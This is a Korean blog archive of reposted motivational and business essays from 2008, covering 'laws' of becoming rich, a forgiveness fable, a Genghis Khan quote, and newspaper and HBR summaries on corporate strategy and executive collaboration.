아마도 이 글을 읽은 사람들의 후손에게서 세계 최고의 부자 가문이 나올 것이다.
부자들은 이와 같이 복리 효과를 극대화하기 위해 종자돈을 빨리 마련하고,
투자를 일찍 시작한 사람들이다.

[사랑의 법칙]

그 동안 가족은 우리에게 하나의 성역이었다.
그러나 오늘날에는 가족이 바람 앞에 등불처럼 위태로워졌다.
지금껏 가족을 유지하는 최장의 비결은 사랑과 인내였다.
특히 기혼 여성들은 눈·코·입을 막고 10년 세월을 보내는 것이 결혼의 정규 과정이었다.
결혼하기 전에는 두 눈을 뜨고, 결혼한 뒤에는 한 눈을 감으라는 말이 있다.

최대한 신중하게 결정할 게 결혼이지만, 일단 검은 머리 파뿌리 될 때까지
함께 살기로 작정했다면 가급적 서로의 허물을 덮어 주고 감싸면서 살아야 한다는 얘기다.
그러나 말이 그렇지 그게 어디 쉬운가. 멀었던 두 눈도 결혼하고 나면 번쩍 떠지니 말이다.

그래서 영국 작가 오스카 와일드는 “서로의 오해에 바탕을 둔 것이 결혼”이라고 했고,
독일 시인 하이네는 결혼을 “어떤 나침반도 항로를 발견하지 못한 거친 바다”에 비유했다.
그러나 부자들은 다르다. 연애할 때는 선심과 선물로 갖은 유혹을 하다가,
결혼을 해서는 ‘다 잡아 놓은 고기에는 미끼를 쓰지 않는다’는 진리 아닌 진리로 무장하는

보통 사람들과 큰 차이가 있다. 부자들은 결혼하기 전에 두 눈을 번쩍 뜨고 아내를 고른다.
그들에게는 배우자의 신뢰와 지지가 있으며 낭비벽이 없는 아내를 둔다.
또한 그 밑에서 자란 자녀들도 절약을 생활화한다.

[인맥의 법칙]

우리 나라에서 유능한 사장이 되기 위해서는 피터 드러커나 앨빈 토플러의
경영학 서적 따위를 읽고 앉아 있어서는 안 된다. 책을 읽기보다는 밖으로 나가
지식 축적 대신에 정·관계에 지면을 넓히고, 로비력을 키울 궁리를 해야 한다.

이 사회는 지식이나 정보나 이론에 입각해 움직이는 것이 아니라 인맥에 의해 움직이기 때문이다.
우리 사회에서 학벌에 대한 ‘헝그리 정신’은 학교를 졸업하고 자리만 잡으면 ‘마당발 정신’으로 탈바꿈한다.


그래서 부자들은 ‘머리’에 지식을 채우는 것 못지 않게 인맥을 쌓기 위해 노력한다.
나폴레옹이 엘바 섬을 탈출해 워털루 전투를 펼칠 당시,
나폴레옹의 카리스마와 리더십을 익히 알고 있던 영국 귀족들은
그의 승리를 지레 짐작하고 서둘러 재산을 처분했다.
그러나 유독 한 사람만은 귀족들이 내놓은 재산들을 헐값에 매입했다.
모두가 연합군 패배를 점칠 때, 그는 전 유럽에 걸쳐 있던
자신의 인맥으로부터 입수한 정보를 분석해,
워털루 전쟁에서 나폴레옹이 질 것이라는 사실을 미리 예상한 것이다.

그가 바로 당대 부호로 명성을 날린 금융의 귀재, 로스차일드였다.
그렇다면 부자들은 어떻게 인맥을 관리하여 부자가 되었을까?
그들은 사람 관리에 동물적인 감각을 가지고 있다.

점심값 5000원을 아까워하면서도, 이 사람이다 싶으면 1000만 원, 수억 원도 그냥 쓴다.
사람에 대한 투자는 아까워하지 않는다. 부자들의 인맥 형성은 보험에 드는 것과 같다.
미래에 닥쳐 올 위험에 대비하여 일정 금액의 보험료를 내고 보험에 들고 있는 셈이다.

[머리와 발 조화의 법칙]

부자라고 독불장군은 없다. 자기 혼자만의 힘으로 부를 이룩한 것은 아니다.
다른 사람의 머리와 다리를 빌렸을 뿐이다.
돈에 관해서는 명동의 사채업자가 경제학 교수나 경제 관료보다도 한 수 위다.
서울 명동이나 강남의 사채업자들은 돈 장사를 업으로 하고 있는 사람들이다.
그들은 하루 종일 돈에 대해 고민하고, 시중의 돈의 흐름에 대해서 알고 있다.
따지고 보면 공부 머리와 부자가 되는 머리는 별개인 셈이다.

마젤란 펀드를 운용할 때 월가의 살아 있는 전설로 숭앙 받았던 피터 린치는
“주식 투자를 절대 하지 말아야 할 두 부류의 사람이 있다.
하나는 천재고, 또 다른 하나는 둔재”라고 말한 바 있다.
학창 시절에 공부를 못한 사람들도 부자가 될 수 있다는 얘기다.
야쿠자도 타는 한일 노선을 제외하면 국제선 항공기의 일등석 손님들은 모두 경제지를 찾는다.
반면에 이등석 손님들은 스포츠 신문이나 주간지를 먼저 찾는다.

무엇이 이런 차이를 만드는가? 그것은 관심의 우선 순위 다르기 때문이다.
일등석을 타는 사람은 대개 일차적 관심이 경제며, 그래서 돈을 더 번다.
이등석을 타는 사람은 부자가 되고 싶어하면서도
일차적 관심은 경제가 아니라 재미난 기삿거리들이다.
그들이 침을 튀기며 말할 수 있는 분야는 정치거나 스포츠거나 연예인들에 대한 것이다.
하지만 당신이 TV 앞에서 환호를 올릴 때,
부자가 되는 사람은 당신이 아니라 TV 속의 주인공들임을 깨달아야 한다.

당신은 부자가 되고 싶지 않은가?
만약 당신이 정치인과 운동 선수 그리고 연예인의 이름은 줄줄 꿰면서도
대차대조표는 볼 줄 모른다면, 당신은 지금 다른 사람들의 게임에 박수를 칠 뿐,
자신이 주인공인 게임에서는 규칙도 모르고 있는 셈이다.

[반보의 법칙]

부자들은 너무 빨리 세상을 앞서가지도, 그렇다고 뒤에서 따라가지도 않는 사람들이다.
굳이 말하자면 보통 사람들에 비해 반 보 정도 앞서갈 뿐이다.
또한 부자들은 기회를 잡으면 반 보 정도 빨리 결단하는 사람들이다.
그렇다면 부자들이 다수의 대중들보다 반 보 앞서서 세상을 읽어 내는 비결은 무엇일까?

부자들은 돈 버는 데 있어서 두 가지 철학을 가지고 있다.
하나는 초창기 시장에 투자하는 것이며, 둘째는 바로 변혁기에 절묘한 판단을 하는 것이다.
그들은 우선 돈이 자주 다니는 길목을 지키고 있다가, 기회를 포착해서 한꺼번에 잡아 올린다.

돈이 오는 길목을 지키기 위해서는 사람들이 모여 있는 곳의 선두에 서지 않으면 안 된다.
부자가 되려면 많은 사람들이 올 곳을 미리 예측하고 그 곳에 먼저 가 있어야 한다.
남이 가지 않은 곳에 먼저 가 있으면, 다른 사람들이 몰려와도 자신은 가장 앞선 사람이 된다.

물론 돈의 길목이 어딘지 알아내는 혜안은 지식과 다양한 경험에서 나온다.
오랫동안 산을 탄 심마니의 눈에는 일반인에게 보이지 않는 산삼이 보이는 것과 같은 이치다.

특히 남보다 먼저 가서 진을 쳐야 내 것이 될 수 있다.
보통 사람들은 돈의 뒤를 따라가지만, 부자들은 돈이 따라오게 하는 사람들이다

[열정의 법칙]

부와 행복을 만들어 내는 첫걸음은, 스스로 세월을 자산으로 만드는 삶을 살아가고 있는가,
아니면 세월을 부채로 만드는 삶을 살아가고 있는가에 의해 결정된다.
부자들은 흐르는 세월을 자산으로 만들어 가는 사람들이다.

그러나 보통 사람들 가운데 자기 자신을 자산으로 만들기 위해 노력하는 사람은 극소수다.
회사에 들어간 후 10년 그리고 15년 이후에 되돌아본 동료들의 삶은,
일을 열정적으로 하느냐 그렇지 않느냐에 따라 크게 나누어진다.
그것은 세월을 어떻게 만들어 왔느냐에 따라 좌우됨을 의미한다.

‘경영의 신’으로 불리는 일본의 마쓰시타 고노스케.
초등학교를 마치지 못하고 남의 집 고용살이에서 출발해
세계적인 가전 왕국 마쓰시타를 일구어 낸 신화적 인물.

그는 ‘가난, 허약한 몸, 못 배움’의 세 가지 은혜를 성공 비결로 꼽았다.
가난은 부지런함으로, 허약한 몸은 건강의 중요성으로,
못 배운 것은 세상 모든 이를 나의 스승으로 받아들이는 성공의 코드로 바꿨다.

마지막으로 한 가지 더, 부자들에게는 아침형 인간이 많다.
에머슨은 “혼자 있을 때의 사람은 진지하다.
그러나 다른 사람이 가까이 오면 위선을 보인다”라고 말했다.
부자가 그렇듯이 우리는 새벽을 여는 신념의 시간을 통해
우리 모두 성공과 행복을 성취하는 프로그램을 디자인할 필요가 있다.

아침을 잘 활용하는 사람이 하루를 지배할 수 있고,
하루를 지배하는 사람이 자신의 인생을 지배할 수 있다.
부자의 문턱으로 들어서는 성공의 길은
아침 시간을 어떻게 활용하느냐에 달려 있다고 해도 과언이 아니다.
- 한국 부자들이 철저히 지키는 8가지 원칙 中에서-
2008/03/05 14:41 2008/03/05 14:41

원수는 모래에 새기고 은혜는 돌에 새겨라.

 

두 사람이 사막을 걸어가고 있었습니다. 여행 중에 문제가 생겨 서로 다투게 되었습니다.

한 사람이 다른 사람의 뺨을 때렸습니다. 뺨을 맞은 사람은 기분이 나빴지만 아무 말도 하지 않았습니다.

 

그는 모래에 이렇게 적었습니다.

 

‘오늘 나의 가장 친한 친구가 나의 뺨을 때렸다.’

 

오아시스가 나올 때까지 말없이 걸었습니다. 마침내 오아시스에 도착한 두 친구는 그곳에서 목욕을 하기로 했습니다.

 

뺨을 맞았던 사람이 목욕을 하러 들어가다 늪에 빠지게 되었는데 그때 뺨을 때렸던 친구가 그를 구해주었습니다.

 

늪에서 빠져 나왔을 때 이번에는 돌에 이렇게 썼습니다.

 

‘오늘 나의 가장 친한 친구가 나의 생명을 구해주었다.’

 

그를 때렸고 또한 구해준 친구가 의아해서 물었습니다.

"내가 너를 때렸을 때는 모래에다가 적었는데, 왜 너를 구해준 후에는 돌에다가 적었지?"

 

친구는 대답했습니다.

 

“누군가가 우리를 괴롭혔을 때 우리는 모래에 그 사실을 적어야 해. 용서의 바람이 불어와 그것을 지워버릴 수 있도록... 그러나 누군가 우리에게 좋은 일을 하였을 때 우리는 그 사실을 돌에 기록해야 해. 그래야 바람이 불어와도 영원히 지워지지 않을테니까.”

 

우리 속담에 ‘원수는 물에 새기고, 은혜는 돌에 새기라.’하는 말이 있습니다.

 

돌아보면 우리는 그것을 거꾸로 할 때가 많습니다. 잊어서는 안될 소중한 은혜는 물에 새겨 금방 잊어버리고 마음에서 버려야 할 원수는 돌에 새겨 두고두고 기억하는 것이지요.

 

한번 내 마음을 조용히 돌아봅니다. 지금 내 마음 속에 새겨져 있는 것은 무엇인지를 말입니다.                                                            -좋은 글 中에서-

2008/03/05 14:37 2008/03/05 14:37

우리가 칭기즈칸(Chingiz Khan,1155~1227)이라고 일컫는 테무친(아버지가 죽인 적장의 이름)은 1206년 몽골부족 전체 수장이 되어 20년 동안 1년에 평균 25회의 전쟁을 치루어 2개 이상의 국가를 굴복시킨 역사상 가장 위대한 황제이었습니다.
그러나 그는 우리가 생각지도 못할 고난을 극복해낸 영웅이었습니다.

 

"가난하다고 탓하지 말라.

나는 들쥐를 잡아먹으며 연명했다.


작은 나라에서 태어났다고 말하지 마라.

나의 병사들은 적들의 백분의 일, 이백분의 일에 불과했지만

세계를 정복했다.


배운 게 없다고 탓하지 마라.
나는 내 이름도 제대로 쓸 줄 몰랐지만
남의 말에 귀 기울이면서 현명해지는 법을 배웠고 또 지혜를 구했다.


너무 막막해 포기 해야겠다고 말하지 마라.
나는 목에 칼을 쓰고도 탈출했고 뺨에 화살을 맞고도 살아났다."
 -칭기즈칸-

2008/03/05 14:35 2008/03/05 14:35

성공하는 전략, 실패하는 전략

 

인간이 경영하는 지구상에 존재하는 기업 중 전략 없이 경영되는 기업은 없다. 어느 기업이나 나름대로 최상의 전략을 수립하기 위해 온갖 노력과 투자를 아끼지 않는다. 그리고 그렇게 수립된 전략을 근거로 기업이 경영되어진다는 이야기다.

 

그런데 지난 10년간 포춘(Fortune) 500대 기업의 경영전략 성공률이 25% 정도밖에 되지 않는다고 한다. 2006년 맥킨지에서도 일류기업 CEO 796명을 대상으로 비슷한 조사를 했는데 경영전략의 실패 확률이 60%를 넘었다고 한다.

 

‘성장과 혁신(Innovator's Solution)’이란 책으로 저명한 마이클 레이노(Michael E. Raynor)는 ‘전략 패러독스(Strategy Paradox)’라는 저서에서 실패한 기업이라고 해서 그 기업의 전략까지 엉터리가 결코 아니며 성공한 최고 기업들이 근근이 생존하는 기업보다는 쫄딱 망한 회사와 더 닮았다는 점을 밝히고 있다.

 

마이클 포터 하버드 경영대학원 교수의 경쟁전략에 의하면 기업은 원가우위든 제품 차별화든 간에 두 극단 전략 중 하나를 택하도록 강요받는다. 어중간한 상태의 혼합된 전략은 결코 의미가 없으며 결국은 양쪽의 극단적인 전략을 택한 기업으로부터 공격을 받을 수 있다고 주장한다.

전략은 극단적인 위치를 유지함으로써 경쟁자가 쉽게 모방할 수 없는 시장 위치를 구축할 때 높은 수익성을 가져올 수 있으나 동시에 전략적 위험과 실패도 만들어낼 수 있는 ‘전략의 불확실성’이 항상 존재한다는 것이다. 장기적 전략을 수립할수록 이 불확실성은 더욱 커지게 된다.

포터 교수는 ‘대부분의 경영전략은 실패한다.’라고 하면서 크게 3가지 핵심요인을 들면서 해결책을 제시하고 있다.

 

첫째, 경쟁을 위한 경쟁을 추구하는 전략일수록 실패할 확률이 크다.

 

많은 기업들이 고객지향경영을 추구한다. 그러나 실제로는 경쟁사의 행보가 당장 눈앞에 보이기 때문에 대부분 고객지향보다는 경쟁사를 앞서기 위한 전략을 펼치게 된다. 그런데 경쟁의식에 사로잡히면 현실을 냉정하게 바라보지 못하고 성장성과 수익성 등 객관적인 지표는 외면한 채 당장의 위협만 바라보고 엉뚱한 전략을 수립하는 우를 범하게 된다.

대부분의 와인업체들은 포도의 품종, 수확연도 등을 내세우며 서로 자신의 와인이 경쟁 와인 보다 좋은 맛을 가졌다고 홍보해 왔다. 그런데 호주의 카셀라 와인은 ‘누구나 즐겁게 마시는 와인’이라는 콘셉트를 소비자에게 홍보하여 초보자들도 부담 없이 즐길 수 있는 친밀함과 참신함을 이미지로 내세워 ‘특별한 때 마시는 술’의 이미지를 깨어버리고 새로운 고객을 창출했다. 카셀라 와인의 경영전략은 하버드 경영대학원에서 모범사례로 다루어지고 있을 정도이다.

 

둘째, 현재 고객에 안주하는 경영전략은 죽은 전략이다.

 

고객에는 두 종류가 있다. 하나는 현재의 고객이고 다른 하나는 잠재고객, 즉 미래의 고객이다. 그런데 기업 성장에 있어서 가장 큰 적은 역설적이게도 우리 기업을 한참 먹여 살려주어 온 현재의 고객이다. 성공을 맛본 기업일수록 화려한 현재를 유지하게끔 해준 원동력인 현재의 고객에 몰두하는 경향이 있어 과감한 변화를 두려워하게 된다. 그러나 끊임없이 변화하는 비즈니스 세계에서 안주는 곧 쇠퇴를 의미한다. 과거의 성공방식은 경쟁사도 쉽게 모방해 현재 고객에 안주하는 전략을 고집한다면 결국 시장을 잃게 될 뿐이다.

델(Dell)은 지난 20년간 승승장구하면서 전 세계 PC시장을 장악해 왔다. 그런데 2006년에 이르러 판매성장률이 급격히 하락하면서 경쟁사인 HP에게 1위 자리를 빼앗기고 마이클 델 회장은 비즈니스위크지에서 2006년 최악의 경영자 중 한사람으로 꼽히는 수모까지 당했다. 경쟁사들이 가볍고 보다 편리한 노트북 PC개발에 몰두할 때 델은 소비자에게 보다 싼 가격에 데스크톱을 공급할 궁리에 몰두한 결과로 새로운 변화와 시장으로부터 외면당한 것이다.

본래 워싱턴 근교 기사식당에서 출발한 세계 최대 호텔체인 중 하나인 메리어트호텔은 기사식당 사업 성공 후에도 안주하지 않고 표준화된 조리기술을 개발하여 공항 레스토랑으로 진출하는가 하면 비행기 기내식으로 까지 확장했고 마침내 글로벌 호텔체인으로 변신 성장했다. 자신의 고객을 운전기사에만 국한하지 않고 끊임없이 새롭게 정의했기 때문에 가능했다.

 

셋째, 자신감과 성공에 대한 확신이 없는 경영전략은 말잔치에 불과하다.

 

전략에서 아이디어의 탁월성은 중요하지만 그 보다 더 중요한 것은 실행의 일관성이다. 경영전략은 기업의 방향을 결정하는 나침반이고 조직을 지탱하는 뿌리이다. 경영상 발생하는 내외부의 평가에 민감하게 반응하여 충고와 비판을 무조건 수용한다면 항해 도중 나침반의 방향이 바뀌어 목적지에 도달할 수가 없다. 전략의 일관성을 유지한다는 것은 매우 중요한 일이다.

콘티넨털항공은 1994년 심각한 경영위기에 빠졌다. 당시 월가를 비롯한 투자자들은 항공노선 축소 등 비용절감을 강력하게 주문했지만 CEO인 고든 베튠은 고객편의를 지향하는 콘티넨털항공이 고객을 불편하게 하면서까지 비용을 줄인다면 그것이야말로 실패의 지름길이라고 생각하고 무수한 비난을 무릅쓰고 오히려 노선을 늘이는 등 소신대로 밀고나가 이듬해 기적 같은 흑자전환에 성공했다.

P&G도 3C라고 불리는 브랜드 전략을 고수하고 있다.3C의 첫 번째 C는 일관성(Consistency)이다. 두 번째와 세 번째 C도 마찬가지로 세 번이나 일관성을 강조한 이유는 한번 시작한 전략은 일관성 있게 추진해야 조직원에 공감을 얻을 수 있고 효과를 창출할 확률도 커지기 때문이다. 경영전략을 일관성 있게 추진하려면 무엇보다 경영자의 용기 있는 결단과 뚝심이 필요하다.

 

앞서 언급한 전략수행의 실패를 극복할 수 있는 제시된 해결책이 있음에도 불구하고 전략에는 항상 ‘전략의 불확실성’이 존재할 수밖에 없다. 그렇다면 단순히 실패하지 않은 전략으로 끝나지 않고 성공하는 전략이 되기 위한 방안은 앞서 언급한 해결책을 기반으로 전략의 일관성을 유지하되 시장의 요구에 맞춰 전략을 시의 적절하게 보완 수정하는 것이다. 전략의 장점 여부를 떠나 조직변화 속도를 환경변화에 맞추어 조정해야하며 이를 위해서는 전략기획 단계에서부터 탄탄한 예측력이 있어야 한다.

 

우리 회사도 지금 추진하고 있는 전략을 다시 검토해 볼 필요가 있다. 첫째, 고객이나 시장 보다는 경쟁위주의 전략에 치우치지는 않았는가? 둘째, 현재 보다는 미래 고객과 시장을 염두에 둔 전략인가? 셋째, 근본적인 전략의 일관성을 견지하면서 환경변화에 시의 적절하게 전략을 수정 보완하면서 추진하고 있는가?

우리 스스로 우리 전략과 추진 과정을 냉정하게 들여다보고 긍정적인 판단이 서면 자신 있게 우리의 전략을 추진합시다!

-조선일보 토일섹션 Weekly BIZ 제26867호에서-

2008/03/05 14:33 2008/03/05 14:33

미래가 없는 기업

 

인간은 안정을 추구하는 성향이 강하기 때문에 대부분의 사람들이 불확실성과 현재의 균형이 깨지는 것에 대한 불안감을 가지고 있다. 기업도 인간에 의해 경영되어지기 때문에 현재의 안정이 깨지는 불균형과 미래에 대한 불확실성에 대해서 위협요인으로 여기는 것은 당연한 것일 수도 있다.

 

그러나 일리야 프리고진(1977년 노벨 화학상 수상)은 불확실성과 무질서(불균형)는 일시적인 것이 아니라 일상적인 현상으로, 제거해야 할 것이 아니라 극복하고 적응함으로써, 보다 고차원적인 질서(균형)가 만들어지는 원천이 된다는 새로운 시각을 제시했다.

 

점점 다양하고 복잡해지는 소비자 Needs, 개방과 글로벌화에 따른 시장 환경 변화, 경쟁사들의 끊임없는 혁신과 도전 등으로 기업은 항상 불확실성과 불균형 속에서 생존에 위협을 받고 있으나 기업의 미래를 보장받는 방법은 안정된 현재의 틀 안에 안주할 것이 아니라 차라리 불확실성과 불균형을 자연스럽게 받아들여 그 변화에 맞추어 경영전략과 조직을 적응시키는 것이다.

 

세계 최고층 빌딩이었던 시어즈타워(미국 시카고,110층)로 상징되었던 시어즈는 카탈로그에 의한 통신판매와 중산층 대상 쇼핑몰 사업으로 미국 유통업계에서 독보적인 존재였으나 1970년대 미국 경기 둔화에 따른 소비 심리의 변화에 대응하지 않고 그 동안의 성공적이었던 현실에 안주함으로써 월마트, 홈데포 등 경쟁 유통업체들에게 시장의 상당 부분을 내주게 되었다.

 

결국 이런 현실 안주 자세는 시어즈가 100년 동안 이어온 통신판매 사업을 철수함으로써 1990년 정보통신 기술이 발전하면서 기존의 조직과 유통망, 통신판매 노하우 등을 활용해 amazon.com을 능가할 정도로 성장할 수 있는 인터넷 쇼핑사업의 기회마저도 놓치게 되었다.

 

Texas Instrument는 1930년경 유전탐사사업으로 성공한 회사였으나 제2차 세계대전 이후 전자산업의 발전 가능성을 보고 전자회사로 변신한 후, 트랜지스터 라이선스를 매입, 세계 최초로 휴대용 트랜지스터라디오를 선보였다.

 

1958년에는 IC(집적회로)를 발명해 본격적인 반도체회사로 위상을 잡았으나 많은 경쟁업체들로 시장점유율이 하락하자 전자시계와 컴퓨터 사업을 매각하고 DRAM사업에 주력하면서 1983년 히타치와 전략적 제휴를 함으로써 급성장을 이루게 된다.

 

1990년대 초 발 빠르고 효율 좋은 한국, 일본 기업들의 추격으로 경쟁력에 떨어질 것을 예측하고 매출의 대부분을 차지하던 DRAM 사업부문을 매각하고, 비메모리 반도체와 아날로그 칩으로 주력사업 방향을 전환하여, 현재 휴대폰 반도체 부문에서 업계 1위의 자리를 지키고 있다.

 

시어즈와 TI의 사례는 보면 불확실성과 불균형에 대한 발 빠른 예측과 대응이 기업의 미래에 어떤 영향을 주는지 극명하게 보여주고 있다.

 

최근  유가급등, 환경오염, 중국 및 인도의 급성장, 미국 및 일본 등 선진국들이 밀어붙이는 자국위주의 FTA 추진 등 모든 변화가 우리를 압박하고 있다. 특히 지적재산권 보호 강화, WEB2.0 같은 새로운 개념의 등장은  IT비즈니스를 수행하고 있는 ENWIZ도 이러한 변화로 부터 결코 자유로울 수 없다는 것을 우리에게 말해 주고 있다.

 

현재 보다는 미래의 시장과 고객의 변화에 초점을 맞추어 그 흐름을 정확하게 감지하고 재빠르게 대응하여 시의 적절하게 경영전략을 수정, 보완, 실행함으로써 불확실성과 불균형을 극복해야만 ENWIZ는 미래가 있는 기업으로 살아남을 것이다.

 

돌궐제국의 명장 톤유쿠크가 성을 쌓고 사는 자는 반드시 멸망할 것이며 끊임없이 이동하는 자만이 살아남을 것이라고 했듯이 현실에 안주하는 기업에게는 미래가 없는 것이다.

-조선일보 Weekly BIZ 제26873호 SERICEO와 함께하는 경영전략연구에서-

2008/03/05 14:31 2008/03/05 14:31

최고경영진의 변혁과 기업문화(Leadership/하버드비즈니스리뷰 6월호)

 

지금까지 우리는 좋은 기업을 흔히 프로야구팀에 비유해 왔다. 투수, 포수, 1번 타자, 4번 타자 등 포지션별로 유능한 선수들이 최고의 기량을 발휘하여 우승을 하듯이, 기능적으로 분화된 조직별 책임과 성과를 강조해 왔다. 따라서 각 조직을 맡고 있는 최고경영자들 역시 다른 업무에 한눈팔지 않고 묵묵히 자기 맡은 일에만 충실하면 되었다. 그런 사고 속에서 경영을 하다 보니 심지어 도를 지나쳐 자기 책임이 아니라면 회사가 잘못된 길로 가더라도 입 다물고, 남의 부서 일에 무관심하며, 그것을 남의 책임으로 돌린다. 그리고 타 조직과의 협력은 사적인 친분으로 해결하려고 하는 부작용까지 생겼다.

 

수익모델이 안정적이고 가치창출의 원천이 모든 임직원에게 잘 알려져 있는 산업이라면 과거형 조직도 제 역할을 다할 수 있다. 그러나 현재의 기업은 컨버전스(융합) 바람을 타고 기술이나 경영환경이 급속하게 변하고, 고객의 요구도 시시각각으로 바뀌는 경쟁 환경에 속해 있다. 특히 IT기업은 타 기업에 비해 그 정도가 더 심각하여 조직 간의 철저한 업무분화로는 미래를 보장받기 어렵다. 조직을 맡고 있는 임원 모두가 회사의 전략이나 비전을 자기 업무로 인식하고 머리를 맞대고 전략을 세워 실천해야 한다. 즉 미래형 조직에서 요구되는 경영층 간의 새로운 변혁(New Deal)은 집단문제 인식을 기반으로 한 공동책임을 강조하여 상호의존을 요구한다.

 

이브 도즈(Yves L. Doz) 프랑스 인시아드대 석좌교수와 미코 코소넨(Mikko Kosonen) 노키아 특별고문은 하버드비즈니스리뷰(HBR) 6월호에 SAP, HP, IBM, 노키아 등 전 세계 12개 대기업의 최고경영진 리더십을 3년간 분석한 결과, 임원들이 부문 이기주의에서 벗어나 회사의 공동 목표를 위해 힘을 합치고 상호의존(Interdependent)하는 올라운드 플레이어(all-rounders)로 변신해야 한다는 결론을 내리고, 그 방안을 제시했다.

 

미래형 조직으로 변신에 성공한 회사들은 최상층에서부터 조직변화를 창안해 공동 목표와 비전을 하위 직원들에게까지 뿌리내려 서로 존중하고 상호 의존하는 기업문화로까지 발전하였다. 뉴딜에 성공한 이들 기업이 취한 접근법은 크게 세 가지이다.

 

첫째, 가치사슬 또는 기능별로 초점을 맞추어라

 

SAP는 2005년에 기존 사업별 부문 대표직 대신, 가치사슬의 각 단계마다 임원에게 책임을 맡기는 조직 대통합을 단행했다. 최고경영층은 회사의 전반적인 전략을 수립하고 실천하는데 참여해야 했고, 임원들은 상대방 의견에 동의하지 않으면 부서 소속에 관계없이 의견을 말할 수 있는 분위기가 형성되어, 각 사업부문들은 서로 긴밀하게 협력하게 되었다.

시스코(Cisco)도 R&D부문 대표를 모든 제조와 라인공정, 생산기술에 대한 업무를 동시에 수행하도록 하고, 영업과 마케팅부문 대표는 지역 중심의 업무를, 소비자보호 부문 대표는 유지관리와 서비스 업무를 함께 수행토록 하는 등 기능 중심으로 최고경영층을 재배치해서 변혁에 성공했다.

 

둘째, 비즈니스 그룹과 자원공유

 

시스코나 SAP보다 비즈니스 포트폴리오가 덜 집중된 기업은 기능별 부문을 바탕으로 조직 매트릭스(matrix)를 만드는 것이 효과적이다. 노키아는 2004년 조직개편에서 수직적으로 이동전화, 멀티미디어, 기업솔루션, 네트워크 등 4개의 비즈니스 그룹을 만들고, 여기에 소비자시장운영, 기술플랫폼 등 2개의 수평그룹을 만들어 수직그룹들을 지원하게 하였다. 수평그룹은 수직그룹을 지원하는 동시에, 이들의 업무를 조사해 개선하는 책임도 맡았다. 그리하여 소비자운영그룹은 전사적인 요금관리체계를 개발하기도 하였다.

 

셋째, 공동의 비즈니스 모델 수립

 

사업 분야가 넓고 다양한 회사는 공동의 비즈니스 모델을 수립해야 한다. 이지그룹(easyGroup)은 비행기와 크루즈선박, 호텔, 렌털 등 다양한 사업 부문을 가진 복합기업이지만, 단일한 비즈니스 모델을 가지고 있어 인터넷과 통신수단을 통해 다양한 가격전략을 취하고, 일드(yield) 매니지먼트(사전 수요예측으로 적정가격 수준을 결정해 매출을 극대화하는 전략)를 적용해 이익을 최대화하고 있다.

그러나 이런 접근법에서 주의해야 할 점은 부문별 고유한 사업 특성을 가볍게 여긴다든지, 전문적 지식을 홀대해서는 안 된다는 것이다. 회사의 분열을 자초하는 결과가 될 수 있기 때문이다.

 

이들 3가지 외에도 임원들에게 전사적인 임무와 사업모델에 대한 활동과 사업의 중요도에 따라 책임과 권한을 부여함으로써 조직의 자율성과 조직 간의 균형을 유지토록 해야 한다.

 

성공적인 뉴딜을 위해서는 통합 모델을 적용하는 것뿐 아니라 올바른 프로세스와 관행을 정착시켜 최고경영층과 조직이 시간만 낭비하는 일이 없도록 통합 모델을 유지하는 것도 중요하다. 뉴딜을 유지하기 위한 방법은 다음과 같다.

 

첫째, 임원회의에서 회사의 전략적 이슈를 공유하라

 

각 사업 부문의 중요한 이슈를 취합해 임원회의에서 이를 통해 현안을 공유하고 대응해야 한다. 노키아의 통합전략부문 대표인 자르코 사이라넨(Jarkko Sairanen)은 “회사 전반의 안건을 공유함으로써 노키아의 임원들은 공동의 목표에 집중할 수 있게 되었다.”라고 설명했고, IBM의 임원회의는 다양한 사업영역을 넘나드는 회사의 정책적인 문제에 초점을 맞추고 있다.

 

둘째, 격식을 차리지 않는 대화를 유지하라

 

캐논 회장 미타라이 후지오는 매일 아침 8시부터 1시간 동안 회의를 여는데, 특별한 안건은 없지만 참석자들은 많은 정보를 공유하고 업무에 대한 잠재적인 결정을 내린다. 캐논 연합전략개발부문 대표를 맞고 있는 와타나베 구니오는 “임원들이 빠지고 싶어하지 않는 회의다.”라고 말한다. 이런 분위기는 공식적인 회의도 허물없는 분위기로 유도하게 된다.

 

셋째, 돌이켜 볼 시간을 가져라

 

최고경영층은 현재 진행 중인 사안과 결정을 필요로 하는 문제들에 시간의 대부분을 할애한다. 이것은 자칫 공동의 목표를 공유하기 보다는 지시 일변도의 분위기로 바뀌어 버릴 수가 있다. SAP회장 헤닝 카거만(Henning Kagermann)은 분기마다 한 번씩 임원들을 회사 밖으로 불러내 회의를 갖는다. 이 자리에서 임원들은 회사에 목표에 대해 논의하는 과정을 통하여 서로를 존중하게 되고 각자 헌신, 동기, 야망에 대해 상호 이해를 증진시킨다.

 

넷째, 참신한 시각을 유지하라

 

사람이란 서로 이해와 신뢰를 쌓아나가는 존재인 동시에, 텃세를 부리고 낡은 아이디어와 현실에 안주하여 매몰되는 존재일 수도 있다. SAP는 지난 6년 동안 외부인에게 간부 자리를 개방하고 있으며, 연합전략그룹이라는 내부 컨설팅팀을 두어 새로운 아이디어를 내고 결재 사안들을 재점검하게 하고 있다. 컨설팅팀은 임원들의 눈치를 보지 않고 냉정하고 엄밀한 판단을 내릴 수 있도록 CEO에게 직보하는 체제를 갖추고 있다.

 

다섯째, CEO를 종속적인 위치에 놓아라

 

CEO가 막강할 경우 임원들이 자신의 의견을 내세우지 않고 CEO 의견을 따라가기만 하는 위험이 있다. IBM CEO 샘 팔미사노(Sam Palmisano)는 임원회의에서 주로 대화를 경청하는 입장이었고, 결정의 순간에도 먼저 나서기를 주저하기도 하였다. 이는 토론을 억누르지 않음으로써 더 많은 아이디어를 끌어내려는 의도였다. 임원들이 더 많은 권한을 갖는 데 익숙해지자 팔미사노는 매일 진행되는 이슈에서 한 발 물러나 회사의 장기적인 미래에 대해 생각할 수 있게 되었다.

 

여섯째, 투명한 평가 제도를 확립하라

 

미래형 조직은 상호 의존적인 특징으로 인해 조직이 자칫 정치게임에 몰두함으로써 조직에 회의론을 불러들일 가능성이 있다. 이를 막기 위해서는 최고경영층이 상호 협력을 통하여 회사에 얼마나 공헌하는지를 측정하고 평가하는 투명한 시스템을 갖추어야 한다.

 

